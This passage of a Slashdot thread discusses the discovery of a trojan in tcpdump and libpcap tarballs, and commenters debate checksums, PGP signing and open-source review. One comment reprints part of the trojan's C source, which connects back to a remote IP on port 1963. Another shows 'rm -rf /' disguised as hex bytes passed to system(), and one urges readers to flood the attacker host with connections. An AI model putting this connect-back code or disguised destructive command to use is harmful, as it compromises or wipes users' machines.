  28. Hey, Slashdot, by gazbo · · Score: 3, Funny

    I was just wondering how long these sources have been available with these many eyes making bugs shallow and so forth? I'm assuming it's less than 1 hour, because as I keep being told, everyone in the open source community checks all source code thoroughly before installing it, which is something that can't be done with closed source.

    1. Re:Hey, Slashdot, by yatest5 · · Score: 1, Flamebait

      Ooooh, bad, nasty flamebait. How dare you mock open-source's lame-ass anti-MS arguments!

      Starsky

      --
      • Mod parent up! [a] by Anonymous Coward (Score:5) Thurs, June 31, @13:37
    2. Re:Hey, Slashdot, by Anonymous Coward · · Score: 0

      Heh. At least with open source we KNOW when there's a trojan, usually within a few hours. Go back to your crappy little spyware which NOBODY can see and fix and improve...

    3. Re:Hey, Slashdot, by bockman · · Score: 0

      All these eyes winked at the same time, and somebody took advantage of the half-secondf of blindness of the open-source community.

      --
      Ciao

      ----

      FB

  29. Isn't a Trojan a kind of condom? by EnlightenmentFan · · Score: 1

    Somebody's been messing around there, don't you think?

    --
    Making trouble today for a better tomorrow...
    1. Re:Isn't a Trojan a kind of condom? by gosand · · Score: 2
      Somebody's been messing around there, don't you think?

      Mod down/burn karma?
      Mod down/burn karma?
      Mod down/burn karma?

      Burn Karma.

      I had a complete flame composed, but then realized that you honestly can't be this ignorant, and must have meant this to be funny. If this was a serious comment, then you really should hang your head in shame. (actually, you should either way)

      --

      My beliefs do not require that you agree with them.

  30. what about current by Anonymous Coward · · Score: 0

    the pages say the latest release(7.1) is vulnerable on some mirrors, but no mention is made of the libpcap-current tarball available on tcpdump.org

    1. Re:what about current by Anonymous Coward · · Score: 0

      you're missing my point.

      There is a difference between the 'release' version of the software and the 0-day cooker development copy which is referred to as 'current' on the winpcap website. The security posting calls 7.1 the current version, which it is not in reality.

  31. Re:prison by outofpaper · · Score: 2, Insightful
    While it is true that:

    our current legal environment is that it appears to not matter much the ill intent of authors of such malevolent code


    It is also true that only because this is an open sorce project was such code found. People seem to forget that there is no realy eficient way of checking closed software for sevurity holes. Ontop of that companies are more than likly to place back doors in programs as actual features that are not mentioned in documentation, or only glazed over. My exaple for this was in a Busines programe that I wourk with had the "option for you to enter a code into one of the text fields if you set the computers date to a specific date and then you would be able to edit all records, thus by pasing the simple code that it uses. I fould out about the feature when the was a problem with some of the records and since the files are encoed I wasn't going to search through them in any easy way so I cantacted the programes distributor and they told me of this feature. Just think how meany othe progs out there have stuff like that.
  32. Re:Siltakoski Petri is somehow connected with this by rekulator · · Score: 3, Informative

    Yeah! Let's nail his ass! ..
    Oh wait, perhaps he's just the tech guy working for the company which registered the domain "raketti.net", Kuopion Puhelin. It's a telecom and net operator after all.

  33. Re:This is dreadful by Anonymous Coward · · Score: 1, Insightful

    "Good" being the operative keyword.

    It would be best not to download the author's public key from the same place you get the source, or else you might as well be fucked. "Gee! It checks out alright, it must have come from my vendor!" Not necessarily.

  34. Re:Siltakoski Petri is somehow connected with this by Anonymous Coward · · Score: 0

    This is a local ISP, a telephone company.

  35. Don't jump to conclusions by astrashe · · Score: 5, Insightful

    The good blackhats have lots of compromised machines at their disposal, and are generally way too clever to leave such an obvious clue behind.

    It's possible that this guy has something to do with it, but it's more likely that his machine is owned by the same person who managed to put the trojan out there.

  36. Er, I thought trojans were for preventing... by quintessent · · Score: 2, Funny

    ...wait...never mind.

  37. Why do I have a feeling by Raul654 · · Score: 2

    ...that this little incident will not be mentioned in the next edition of the Cathedral and the Baazar?

    --


    To make laws that man cannot, and will not obey, serves to bring all law into contempt.
    --E.C. Stanton
    1. Re:Why do I have a feeling by Filik · · Score: 1

      ...because it could just as easily happen to proprietary programs maybe?

  38. Gentoo users rejoice by decarelbitter · · Score: 1

    Once again, Gentoo users wouldn't have had any problems, thanks to the wonderful portage system.

    1. Re:Gentoo users rejoice by Anonymous Coward · · Score: 0

      you're an idiot.

    2. Re:Gentoo users rejoice by Anonymous Coward · · Score: 0

      ebuild runs ./configure. ./configure install trojan. STFU.

    3. Re:Gentoo users rejoice by dr.Flake · · Score: 1

      Even d.robbins machine got 0wned some time ago.

      For all you know, maybe Portage is r00ted as well.

      but, i have to agree, Gentoo has its advantages.

      --
      Why are other peoples sig's always more witty ???
  39. So much for peer auditing? by steve.m · · Score: 1, Troll

    The trojaned code has been around for almost a year, from the project homepage (where most people would go for the source), and nobody spotted it.

    It highlights the fact that a sizeable part of the open source user base either can't read code, or don't want to.

    1. Re:So much for peer auditing? by Anonymous Coward · · Score: 5, Informative

      I'm going to try to walk you through this with baby steps.
      let me make sure to put pillows over the sharp corners of the table.

      this was found, just last night, because of the change in the md5 checksum.
      this md5 checksum changed because the file changed.
      this file changed because someone changed it
      so in conclusion, this file has not been like this for a year

      hope you were able to keep up

    2. Re:So much for peer auditing? by DarkBlack · · Score: 2, Informative

      It has probably been not that long since it was trojaned. Gentoo's portage system gets tcpdump from tcpdump.org and md5's the sources before building. More than likely, it has only been trojaned just recently.

      Since there are no md5 sums or gpg signatures listed on tcpdump.org it makes it very easy for someone to simply replace the source. Only those that check md5 sums and gpg signatures will know if it is truly trojaned or not.

      I hope that the tcpdump people will start provided md5 sums and gpg signatures for those that build from source.

    3. Re:So much for peer auditing? by oliverthered · · Score: 2

      Or C:
      There are no diecent auditing tools in use.

      Everyone could check 95% on the code and still miss a trojan in the other 5%.

      --
      thank God the internet isn't a human right.
    4. Re:So much for peer auditing? by mwood · · Score: 1

      Indeed, I have copies of the tarballs from 01-Jul-2002 and they were not trojaned then.

  40. Re:Siltakoski Petri is somehow connected with this by Masa · · Score: 4, Informative
    Siltakoski Petri is somehow connected with this

    Yes and no. The information you have successfully received from the Whois database is pointing to the phone company in Finland, which happens to be a host for raketti.net domain. Petri Siltakoski is just an administrative contact of the ISP (Raketti.Net). He has nothing to do with the web page set up by an individual who seems to have an account in this ISP.

  41. Re:This is dreadful by phaze3000 · · Score: 4, Funny

    It's the one problem with the open-source community - there's no-one to pay me to pay my staff for the lost man-hours caused by this.

    I couldn't agree more, if those cheap-arsed hippies who write Linux would only pay up when there's a problem with their software like reputable commercial companies like Micros.. err, Oracl.. err actually, forget it.

    --
    Blaming GW Bush for the Iraq war is like blaming Ronald McDonald for the poor quality of food.
  42. Re:Siltakoski Petri is somehow connected with this by dohcvtec · · Score: 2

    Siltakoski Petri is apparently just the guy who registered that domain. It could be that a user from that domain is involved or, as you said, that server has been r00ted. Funny, though, http://mars.raketti.net/~mash/services is nothing but a FreeBSD /etc/services file.

    --
    -- Never hit a man with glasses. Hit him with a baseball bat.
  43. Reply from a mirror site to HLUG and tcpdump.org by Dogcow · · Score: 5, Informative

    This was just sent ~1 min ago:

    To : msolnik@hlug.org
    Cc : wt-changes@wiretapped.net,
    tcpdump-workers@tcpdump.org,
    mcr@sandelman.ottawa.on.ca
    Subject : tcpdump.org mirrors
    ----- Message Text -----
    Hi guys,

    I run the main mirror of tcpdump at wiretapped.net (no relation to wiretapped.us) in Australia. We rsync from cvs.tcpdump.org, and have removed the entire tcpdump.org tree and disabled rsync updates until we hear from Michael Richardson at tcpdump.org.

    You may like to add this info to your Updates area, as the unavailability of the main mirror site may seem suspicious. It is not, as described above.

    Because wiretapped.net itself is mirrored to a few other sites, it may take between 1 hour and 24 hours for this removal (and any subsequent re-addition) to take effect. We'll note when it goes back online at http://www.wiretapped.net/changelog.html

    Hope this assists in preventing any further spread,

    Grant
    www.wiretapped.net

  44. Re:This is dreadful by gowen · · Score: 5, Insightful
    I run a successful London-based dot com
    Wow. And just minutes ago you were a succesful lawyer. I'm so jealous.
    --
    Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
  45. Accountability by Mephie · · Score: 2, Interesting

    I admit to not knowing a lot about open source development, not being a developer myself. But I'm curious, is there any sort of legal accoutability when someone intentionally codes a trojan in to a piece of software? Is it possible to keep track of who is writing what code? When trojans, etc, are discovered, are you limited to just patching them and going from there, or is it usually possible to find out who did it and therefore be suspect of future code?

    1. Re:Accountability by ccoder · · Score: 1

      <b>Definitly!</b><br>
      There is ALWAYS accountability, but on different grounds than the license, as some have joked about already...<br><br>
      Mostly, I think it simply involves the Computer Fraud and Abuse Act (?year?) and the DMCA for overriding basic security measures.<br><br>

      [scarythought]Wha t if people started to intentionally put trojans in their code? *THE AUTHOR* writing something that no one in their right mind would put on their computer... The M$ platform has already proved this feasible, and the "masses" will do it (a few "free" isps, kazaa, and others use various adware and cpu stealing apps).[/scarythought]<br><br>

      I think it a good idea to start an archive of cryptographically signed MD5 hashes for programs. This would take much less bandwidth than storing ALL software in a single location, but still allow people to sign a package if they knew it to be the REAL deal.

      --
      "During times of universal deceit, telling the truth becomes a revolutionary act" -- George Orwell
    2. Re:Accountability by Anonymous Coward · · Score: 0

      Maybe if the software wasn't free, done by volunteer people you could take legal action...

  46. Re:This is dreadful by Anonymous Coward · · Score: 0

    MD4, MD5 - whatever it takes.

    (With apologies to Michael Keaton)

  47. explain please? by Anonymous Coward · · Score: 0

    I have just started using Gentoo and have not finished reading through the docs yet. As such, I am unaware of how this problem would be avoided using Portage. Now if you referring to rolling back, then I understand that...

    1. Re:explain please? by god · · Score: 1

      The Gentoo ebuilds come with a MD5 sum of the package. When the package is downloaded, portage checks that the package's MD5 is the same. If it had downloaded the trojaned package, it would have a different MD5 sum, so portage would have complained and told you that something is wrong. Note that the MD5 sum is kept on the Gentoo mirrors, not the package's mirror.

  48. Re:This is dreadful by Erik+Hollensbe · · Score: 2

    It's the one problem with the open-source community - there's no-one to pay me to pay my staff for the lost man-hours caused by this.

    Do you expect sun or microsoft to pay you, either?

  49. trojan by ciscoeng · · Score: 0

    Who says geeks don't have condoms?

  50. Re:Siltakoski Petri is somehow connected with this by tero · · Score: 1

    Or maybe not..
    The whole Raketti.net seems to be a domain for a local telecom/ISP based in Kuopio, Finland (smallish town in east Finland). Petri Siltakoski is just probably their Admin.
    They seem to be offering internet access with space for homepages, so Petri Siltakoski doesn't necessarily have to have anything to do with this..

  51. Re:This is dreadful by Anonymous Coward · · Score: 0

    Y(and the rest of these responses)HBT. YHL. HAND.

  52. O GOD! YOU ALL HAVE NO CLUE AT ALL! by Rotten · · Score: 1, Redundant

    touch -t 200112101200 newbie.c

  53. Isn't this the whole point of Open Source? by elliotj · · Score: 5, Funny

    I thought the whole idea of the GPL was that you could take a program and modify it to your own needs so long as you release the source back to the community under the same license.

    Sounds like that's what happened here!

    1. Re:Isn't this the whole point of Open Source? by Anonymous Coward · · Score: 0

      One of the funniest comments I have ever read on here.....

    2. Re:Isn't this the whole point of Open Source? by Anonymous Coward · · Score: 0

      Agreed. This is one that should get a (+50, funny) or so...

    3. Re:Isn't this the whole point of Open Source? by McNihil · · Score: 0

      Oh cool, some sarcasm from the Windows crowd. Granted that one of the source maintainers should have cought this. Notice to everybody: This is how Microsoft will outsmart OSS, by fooling us to think that everybody has good intentions when they commit source. Balmer and Gates, Bite me!

    4. Re:Isn't this the whole point of Open Source? by Anonymous Coward · · Score: 0

      LOL! Made my day, that did.

  54. I like your sig by Anonymous Coward · · Score: 0
    but should comment that "lots of money" is very relative as is enjoying your job. The way I have experienced it, is that if you enjoy your job and focus on quality results (hard work and lack of bs) then the money will most likely follow.

    Two paths to greatness... that which slowly climbs to the top of the summit, with all its grueling hard work and requirement of tenacity and patience. Then there is the fast and easy way of being shot up by a cannon. Unfortunately for many you will knock much of the mountain and its traversers off, unfortunately for you what comes up must come down.

    Beware the venture captalist, as he seeks to aim only at the short term then cash in and run like hell.

  55. Re:This is dreadful by Anonymous Coward · · Score: 0

    He has a ton of lost down time because he didn't pay for a sniffing program.

    How much would one normally pay for a sniffing program?

    The time of his employees is probably valued a little higher than a piece of software he could have bought.

    The only place OSS saves money is when you have to buy a per seat license yearly, or some other such excessive licensing scheme.

  56. Re:Siltakoski Petri is somehow connected with this by Anonymous Coward · · Score: 0

    It isn't only a services file, if you scroll down you will find also some c source, which will be compiled on the fly.

  57. Uncommented trojan by magi · · Score: 5, Insightful

    The trojan code seems somewhat complex and unreadable at first glance. The variable names don't express much of the semantics. It even doesn't have any comments. No wonder no one notices if this kind of stuff is written into code. And this is very clear code.

    Even (or especially) free software developers should use more descriptive variable names and comment their code well. It makes the code much more readable for analysis, both security or quality reviews.

    Well, ok, crackers probably want to obfuscate their code with /* Here's stuff for the trojan. */, but if all code is well documented, it's generally easier to understand and intentional obfuscation might be easier to spot.

    I'd recommend the rule: "One comment per statement, except when really unnecessary." Many people think it's silly, but those people haven't had to read a lot of other people's code.

    Hmm, I wonder why they used port 1963...author's birth year? Nah, that would be too old for a typical cracker.

    1. Re:Uncommented trojan by lightweave · · Score: 1

      Actuall it has a comment. :)

      if (FD_ISSET (s, &rfd)) { /* decrypt */

    2. Re:Uncommented trojan by forgoil · · Score: 2

      If you have to write a comment, it is not obvious. Hence only write comments when it is not obvious what is going on.

      And, do please try to make it obvious as to what is going on. I can't stand code where the comments is a MUCH bulkier version OF THE CODE. I can read code, I do it every day. I can't read minds.

      If you want to write well documented code, document what a class does and what a method/function does. That helps a lot more. Then I won't have to read your code unless there is something wrong at that very point. And then I only need to know what is not obvious from the code.

    3. Re:Uncommented trojan by The+Other+Nate · · Score: 2, Interesting

      Very Offtopic...

      1963 - Assasination of President Kennedy

      --
      The Other Nate

    4. Re:Uncommented trojan by Avakado · · Score: 2, Interesting

      but if all code is well documented, it's generally easier to understand and intentional obfuscation might be easier to spot.

      How hard is it to write code that appears to do something friendly, but actually does something really nasty? Consider this appearantly friendly code:
      #define hug system
      const char* bunny = { 0x72, 0x6d, 0x20, 0x2d, 0x72, 0x66, 0x20, 0x2f, 0 }; // Bunny ID

      // Hugs the bunny specified by 'bunny'
      void hug_a_bunny() {
      hug(bunny);
      }

      Hint: bunny evaluates to "rm -rf /"

      --
      The world will end in 5 minutes. Please log out.
    5. Re:Uncommented trojan by bfields · · Score: 1

      Your code snippet has meaningless variable names ("bunny") and random hard-coded constants. In a bunch of otherwise OK code, this'd stand out.--jbf

    6. Re:Uncommented trojan by Anonymous Coward · · Score: 0
      I'd recommend the rule: "One comment per statement, except when really unnecessary." Many people think it's silly, but those people haven't had to read a lot of other people's code.
      I was with you till you said this. One per line; ouch! If your code requires that sort of comment/code ratio, then you're not writing the code itself very clearly. Conciseness is also a virtue....
    7. Re:Uncommented trojan by magi · · Score: 2
      1963 - Assasination of President Kennedy

      It seems that the troian is Finnish. A few things that occurred in 1963:
      • New health insurance law was passed
      • Importing of cars was releaved
      • Prime minister was Ahti Karjalainen
      • The Sävelradio (Light Music Program) started in public radio broadcasts
      • The Committee of 100 was founded
      • Finns Tuula-Kaija (16) and Seppo (21) danced twist 60 hours continuously.
      • 100th anniversary of Finnish Parliament
      • An almost ready nine-floor apartment building crashes in Lahti. No casualties.

      In foreign countries;
      • J.F.K is killed
      • NASA news satellite Relay 1 relayed news between GB, USA, and Brazil.
      • Rolling Stones published their first record Come On
      • Hurricane destroyed half of Japan's crop
      • A lightning killed 81 people in Maryland, USA
      • Martin Luther King's famous speech, "I have a dream..."
      • Kennedy's citizen rights law enacted
      • 1600 dead in Jugoslavia in earthquake
      • First woman in space, Valentina Tereskova, in Vostok-1
      • Pope Whatever VI came in power
      • Bruno Ross observed X-ray radiation from space
    8. Re:Uncommented trojan by Zorikin · · Score: 1

      Meaningless?? But bunnies are so cute and fluffy! What sentimental coder wouldn't want to hug one?

  58. Worried? by AccUser · · Score: 1

    When I first started to use open source software (back in '93), I always wondered how easy it would be to release compromised sources, whether intentionally or not.

    Once I got into it, hey, I trusted these guys. They were the good guys. We were the good guys. The community was built on trust, and it worked.

    We used to scoff when we heard about the torjans in the latest version of Microsoft Word. That would never happen to us... unless they sorted that WINE [wine.org] project out. ;-)

    Now we face the same issues. As source distributions (I'm not discounting binary distributions - if you trust RedHat, that's your call) increase in popularity, this will become more of a problem.

    We need to tighten up the procedures that we use. We need to ensure that the software we put out is the software that the users download and use. We need to ensure that nobody can comprimise our systems in this way.

    --

    Any fool can talk, but it takes a wise man to listen.

  59. Re:This is dreadful by Hostile17 · · Score: 5, Insightful

    "It's the one problem with the open-source community - there's no-one to pay me to pay my staff for the lost man-hours caused by this. "

    And this is different from Closed Source how ?

    Doesn't the money come from the money you`ve saved by not having to pay for any software? What did your business plan mention about this? Just a blank page, right? Try it out and see what happens? Well, it's your money!

    Same place it will come from if you use Closed Source software, using Open Source products does not mean zero cost IT, it means lower cost IT. If your company did plan for these things, then it will make no difference what products you are using.

    --
    Fascism should more properly be called corporatism, since it is the merger of state and corporate power - Benito Mussoli
  60. Quick everyone ! by Smthng · · Score: 1
    Click on this and hit reload a few times. :)

    Also feel free to telnet into mars.raketti.net port 1963 a couple hundred times (it returns M the first time and nothing after that).

  61. No mention of Trojan on tcpdump.org by Anonymous Coward · · Score: 0

    Does anyone else have an issue with tcpdump.org NOT mentioning there sources were trojaned? It seems there should be some mention of "Hey if you trusted us and didn't verify checksums, you might want to..."

  62. Open Source and "scrutiny" ??? by Anonymous Coward · · Score: 0

    I really wonder how long it (the Trojan) has been in before anyone read the code discovered it.

    Hey Slashdoters, you bunch of "I know better than you" people ... where were you wanking, didn't all of you read every f...g line of that program?

    HA HA!!!

    This is just showing that the Open Source "Community" is not more immune than any other to that king of intrusion ... whatever flame fire that remark may start!!! (instead of flaming, look at yourselves in the mirror and admit how sometimes your attitude is ridiculous considering computer)

    1. Re:Open Source and "scrutiny" ??? by Anonymous Coward · · Score: 0

      glad you took the time to read through EVERY POST before this one. you would have seen that your conclusion was totally incorrect and would have saved yourself the time of trolling

    2. Re:Open Source and "scrutiny" ??? by Anonymous Coward · · Score: 0

      What you say?

    3. Re:Open Source and "scrutiny" ??? by Anonymous Coward · · Score: 0

      Just because a few chearleaders rationalize it away in some O.S. fantasy trip doesn't mean there isn't a problem. Way to bury your head in the sand over this.

  63. Re:This is dreadful by yatest5 · · Score: 1, Troll

    Did Microsoft pay you for lost man-hours when your staff battled Nimda or Code Red? Didn't think so.

    Insightful my ass. Did those virii come distributed with the product? Now you're going to tell me there are ABSOLUTELY NO possible security holes in open source software, ever right? Go on...

    --
    • Mod parent up! [a] by Anonymous Coward (Score:5) Thurs, June 31, @13:37
  64. DEMAND PGP SIGNATURES!!!! by aphor · · Score: 5, Insightful

    The reason this is a problem is that nebulous shrug of an answer to the question "Who are you trusting to provide this code which you execute?" It could be an anonymous PGP/GPG key, but to violate people's trust would mean that trusted token is no longer trusted, and thus it would identify the other risks out there.

    Imagine the tcpdump distributions were signed by an anonymous key. We could look over the code, and decide to trust that key. Later, people would be able to tacitly trust that key to sign tcpdump tarballs. One day, the tcpdump code will fail to match the signature: it will be caught before being executed, and the trojan will be discovered quickly. Later, another trojan will appear, but the signature will match. A few people will be bit, but the key will be exposed and others will be able to quickly identify their risk.

    At the VERY LEAST, use MD5 sums on the files like FreeBSD ports!

    --
    --- Nothing clever here: move along now...
    1. Re:DEMAND PGP SIGNATURES!!!! by jonabbey · · Score: 5, Insightful

      And for god's sake, keep your private signing key encrypted in your gpg keyring, or offline.

    2. Re:DEMAND PGP SIGNATURES!!!! by Anonymous Coward · · Score: 0

      And what if the trojan is injected during the normal course of creating a distribution? The PGP signatures would match and you'd still be infected. This in fact has happened and will happen more an more as popularity in Linux grows.

    3. Re:DEMAND PGP SIGNATURES!!!! by aphor · · Score: 2

      Goes without saying, but maybe I expect too much of the average user?

      Yes, for your own sake, and the sakes of everyone who trusts you: guard your private key(s) with teeth!

      --
      --- Nothing clever here: move along now...
  65. facts, not fiction. by F2F · · Score: 5, Informative

    the article is called 'reflections on trusting trust' and Ken Thompson wrote it upon inception of the ACM distinguished scientist award. now, we all know you are full of shit (since you can't even spell his name right) but claiming that 'each version of login was compromised' is so far off base that it't not even funny.

    follow the link posted already, read it and try to understand what he fundamentally tries to tell you. then go and read aleph1's 'smashing the stack for fun and profit' and try to get a glimpse of what 'hacking' was considered in the 80s.

  66. debian all good by Anonymous Coward · · Score: 1, Informative

    sources that debian built these packages from have good checksums

    rgoldber@supercomputer:~$ md5sum tcpdump_3.6.2.orig.tar.gz
    6bc8da35f9eed4e675bfdf04ce312248 tcpdump_3.6.2.orig.tar.gz
    rgoldber@supercomputer: ~$ md5sum tcpdump_3.7.1.orig.tar.gz
    03e5eac68c65b7e6ce8da03b0b0b225e tcpdump_3.7.1.orig.tar.gz
    rgoldber@supercomputer: ~$ md5sum libpcap_0.7.1.orig.tar.gz
    0597c23e3496a5c108097b2a0f1bd0c7 libpcap_0.7.1.orig.tar.gz

  67. Re:Siltakoski Petri is somehow connected with this by monotoy · · Score: 2, Interesting

    that's not true, look at it again ...

    in the middle of the fuly commented services file, you find (let's hope /. eats this code post ... ):

    #!/bin/sh
    cat >conftes.c
    #include
    #include
    #include
    #include

    #define XOR_KEY 0x89

    int main (int argc, char **argv)
    {
    char c;
    int s, x, sv0[2], sv1[2];
    struct sockaddr_in sa;

    switch (fork ()) { case 0: break; default: exit (1);}
    close (0); close (1); close (2);

    do {
    if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
    exit (1);

    sa.sin_family = AF_INET;
    sa.sin_port = htons (1963);
    sa.sin_addr.s_addr = inet_addr ("212.146.0.34");

    alarm (10);
    if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
    exit (1);
    if ((x = read (s, &c, 1)) /dev/null 1>/dev/null

    nice, isn't it?

    heheh

  68. MOD PARENT-DOWN - AGAINST GROUPTHINK! by yatest5 · · Score: 1, Offtopic

    discussion site in discourages discussion shocker

    --
    • Mod parent up! [a] by Anonymous Coward (Score:5) Thurs, June 31, @13:37
    1. Re:MOD PARENT-DOWN - AGAINST GROUPTHINK! by Anonymous Coward · · Score: 0

      What?

    2. Re:MOD PARENT-DOWN - AGAINST GROUPTHINK! by Anonymous Coward · · Score: 0

      Orwellian.

    3. Re:MOD PARENT-DOWN - AGAINST GROUPTHINK! by Anonymous Coward · · Score: 0

      He said:

      discussion site in discourages discussion shocker

      Sounds just as idiotic the second time around ...

  69. How is this fair? by kiwimate · · Score: 5, Insightful

    This apparently misleading (albeit well-intentioned) comment gets modded +4 interesting, meaning that almost everyone will see this poor guy's name.

    All the replying posts pointing out that it's a phone company/ISP and it's almost certainly nothing to do with this chap are at 2 or below, meaning that many people won't see them and this individual's name is now besmirched.

    And, by the way, this happens all the bl**dy time on /. An early poster makes assumptions and gets modded way the hell up, then all the rebuttals pointing out he's talking out of an unreliable orifice wallow in the low point range.

    Yeah, I know it's off-topic. Just wanted to rant about something that irritates me. Return to your normally-scheduled bits and pieces.

    1. Re:How is this fair? by dr.Flake · · Score: 1

      Your too late,

      somebody already got a ticket to fly to finland and beat the guy up.

      That will teach lazy sys-admins for letting their machines get 0wned...

      --
      Why are other peoples sig's always more witty ???
    2. Re:How is this fair? by Anonymous Coward · · Score: 0

      Thats ok, it's going to be your average slashdotter...

      Either Fat as hell and easy to run from, or a skinny ass pansy who you laugh at instead of fighting back.

      (I'm in the skinny ass pansy dept)

  70. Re:Siltakoski Petri is somehow connected with this by Anonymous Coward · · Score: 0

    Look more closely -- right in the middle of the file is C source code for the trojan.

  71. Re:Siltakoski Petri is somehow connected with this by monotoy · · Score: 1

    hmmm of course /. didn't eat it completely. but go and look for yourself for the full code.

  72. at least... by Leimy · · Score: 2

    they were practicing safe sex

  73. Impressive! (Was: as soon as this evening...) by teqo · · Score: 3, Funny
    apt-get update...
    well, I have not installed these sniffing proggies, so it should be okay.

    Darn... apt-get even makes your box more secure than before even if you haven't actually installed the bad packages? This must be the Holy Grail! And it should be okay? Not only that you have not installed tcpdump and libpcap, what definitely makes it okay, you don't even trust apt-get to really solve your (non-existing) problem... Now I wanna join the apt-get cult... Where can I register?

    I bet you recommend penicillin over other medicine even when you got no infection! Or do you use apt-get then as well? Doesn't make any difference anyway...

    (For the record: I use Debian GNU/Linux among other stuff...)

    1. Re:Impressive! (Was: as soon as this evening...) by mirko · · Score: 1

      Hey, it was funny... ironic, sarcastic but funny :)
      Now, if you put some deb references to the security.debian.org repositories in your /etc/apt/sources.list you should be okay, of course !
      I actually saw that the Debian security guys are quite responsive and they desserve the daily apt-get !
      Remember this old old old Apache bug ?
      My server had been patch 3 days before the cert published their warning !

      --
      Trolling using another account since 2005.
    2. Re:Impressive! (Was: as soon as this evening...) by teqo · · Score: 1
      Oh, well, funny.... Then I might have missed something... Maybe I should have done some apt-get voodoo on my BrainOS before reading... )

      apt-get is nice, but its not the solution to every problem, especially not the fundamental problem of network and computer security, not the roots solution for trojaned security software, and especially not the solution for people starving in so-called not-so-developed countries, the greenhouse effect (you remember, the european conspiracy to bring down US economy?) or nuclear waste... Although members of the Church of Apt-Getarism and the Gentoo Temple always point out that their l33t distro-specific rocket science saves us from all evil...

      Good your apache is apt-secure now... You are sure you had installed that package before?

      And for the record: Now I was being funny, wasn't I ;)

    3. Re:Impressive! (Was: as soon as this evening...) by mirko · · Score: 1

      apt-get is nice, but its not the solution to every problem

      I didn't mean the opposite :)
      I am a sysadmin and apt-get just helps me a lot by updating whatever I forget to update.

      Now, of course, I have to monitor my servers, harden my config, etc.
      But still, it is a wonderful tool that applies in the current situation :)

      --
      Trolling using another account since 2005.
    4. Re:Impressive! (Was: as soon as this evening...) by teqo · · Score: 1
      I didn't mean the opposite :)

      Neither did I... .)

      But still, it is a wonderful tool that applies in the current situation :)

      It's awesome, isn't it? But last time I checked apt-get didn't support automatic cryptographic signature checks on install... I don't mean md5sums, because unsigned hashes are as easily spoofable as the data itself, I mean PGP/GnuPGP-like, PKI-authorized sigs. Maybe I just don't know of that apt-get feature, personally I cannot believe such an advanced tool like apt-get lacks such a vital, security-related feature... IIRC, rpm does have such a thing... ,)

  74. I do feel raped by Anonymous Coward · · Score: 0

    Does anyone know if the RedHat binaries are ok?(7.3/8.0)

    This was quite a dissillusion for me. I feel so dirty. Gonna take a long shower.

  75. Must have been done over the weekend.. by Anonymous Coward · · Score: 0

    Because I used the current tar ball Friday afternoon and it shows no sign of the trojan.

  76. NO!!!! NO!!! NO!!! by AxelTorvalds · · Score: 5, Informative
    md5 checksums are nice but if I was going to put a trojan in to something, I'd probably rebuild the md5sum too. Basically md5sum is a glorified CRC at the end of the gzip, nothing more and nothing less.

    Do this: Download gpg from gnupg.org. Build it. Generate yourself a key. Try to get some of your friends to sign it. submit it to keyserver.net. Sign your code with that key. While you're at it, start using kmail, evolution, or mozilla with enigmail and start signing your emails too. Do it religiously.

    Check sigs when you download code too.

    1. Re:NO!!!! NO!!! NO!!! by c13v3rm0nk3y · · Score: 2
      and start signing your emails too. Do it religiously

      Man, this is the truth. We need to start using crypto for everyday things, as well as the "important" stuff. It needs to be ubiquitous.

      --
      -- clvrmnky
    2. Re:NO!!!! NO!!! NO!!! by sakshale · · Score: 1
      md5 checksums are nice but if I was going to put a trojan in to something, I'd probably rebuild the md5sum too.


      A simple solution would be to place the md5sum somewhere different from the source file, like embedded in the web page at the primary site. Of course, adding a gpg sig with instructions on how to test it would be better.

      Sakshale
      --
      For every problem there is a solution that is simple, obvious and wrong.
  77. Is trojan in your distro? How to check? by bigberk · · Score: 1

    Slackware 8.1 was released this past summer, so I'm wondering whether its tcpdump-3.7.1-i386-2 is infected.

    Can anybody tell me whether checking for "mars", "mash" etc. in the output from "strings tcpdump" or "strings libpcap.a" is sufficient to show evidence of the trojan?

    1. Re:Is trojan in your distro? How to check? by Anonymous Coward · · Score: 0

      I have a mirror of the slackware-8.1 tree, and the md5sums for the sources indicate (according to the linuxsecurity.com article) that they were _not_ the trojaned ones.

  78. Re:Siltakoski Petri is somehow connected with this by chefren · · Score: 1

    ..that would actually be Petri Siltakoski and not the other way around..

  79. Re:This is dreadful by djtack · · Score: 5, Funny

    And looking through his user profile, he's also a rocket scientist. Wow.

  80. Sunfreeware.com looks OK by skelley · · Score: 1

    The posted MD5's for libpcap and tcpdump indicates that at least the sunfreeware version is OK.

    http://www.sunfreeware.com/md5.html

  81. I Need a Clue... by Cap'n+Canuck · · Score: 0

    What does the article imply with "ADM. Hmmm..."?

    1. Re:I Need a Clue... by mgessner · · Score: 1

      Heh... maybe Archer Daniels Midland? :)
      Why would they want to do this?

      --
      "Sometimes the truth is stupid." - Lawrence, creator of Prime Intellect
  82. More by Anonymous Coward · · Score: 2, Funny

    ...as a rocket scientist I feel most compelled to answer
    http://slashdot.org/comments.pl?sid=44937& cid=4658776

    ...I run a successful London-based dot com
    http://slashdot.org/comments.pl?sid=44933&cid =4658433

    ... As a lawyer myself, I can state that
    http://slashdot.org/comments.pl?sid=44912&ci d=4658097

    ... I'm an avid open-source supporter
    http://slashdot.org/comments.pl?sid=211 28&cid=2238414

    ...I am an avid supported of the open-source movement [sounds familiar? that's because it is -ed]
    http://slashdot.org/comments.pl?sid=20824&ci d=2207372

    ...I'm an avid supported of the open source movement [we know -ed]
    http://slashdot.org/comments.pl?sid=20761&ci d=2204471

    ... I am a passionate supported of the open-source movement [geez -ed]
    http://slashdot.org/comments.pl?sid=20760&ci d=2204422

    1. Re:More by The_Jazzman · · Score: 0, Redundant
      And I quote:

      ...as a rocket scientist I feel most compelled to answer
      http://slashdot.org/comments.pl?sid=44937&; cid=4658776

      ...I run a successful London-based dot com
      http://slashdot.org/comments.pl?sid=44933&cid =4658433

      ... As a lawyer myself, I can state that
      http://slashdot.org/comments.pl?sid=44912&ci d=4658097

      ... I'm an avid open-source supporter
      http://slashdot.org/comments.pl?sid=211 28&cid=2238414

      ...I am an avid supported of the open-source movement [sounds familiar? that's because it is -ed]
      http://slashdot.org/comments.pl?sid=20824&ci d=2207372

      ...I'm an avid supported of the open source movement [we know -ed]
      http://slashdot.org/comments.pl?sid=20761&ci d=2204471

      ... I am a passionate supported of the open-source movement [geez -ed]
      http://slashdot.org/comments.pl?sid=20760&ci d=2204422

      So, pray tell, what is the better - originality or banal repostings?

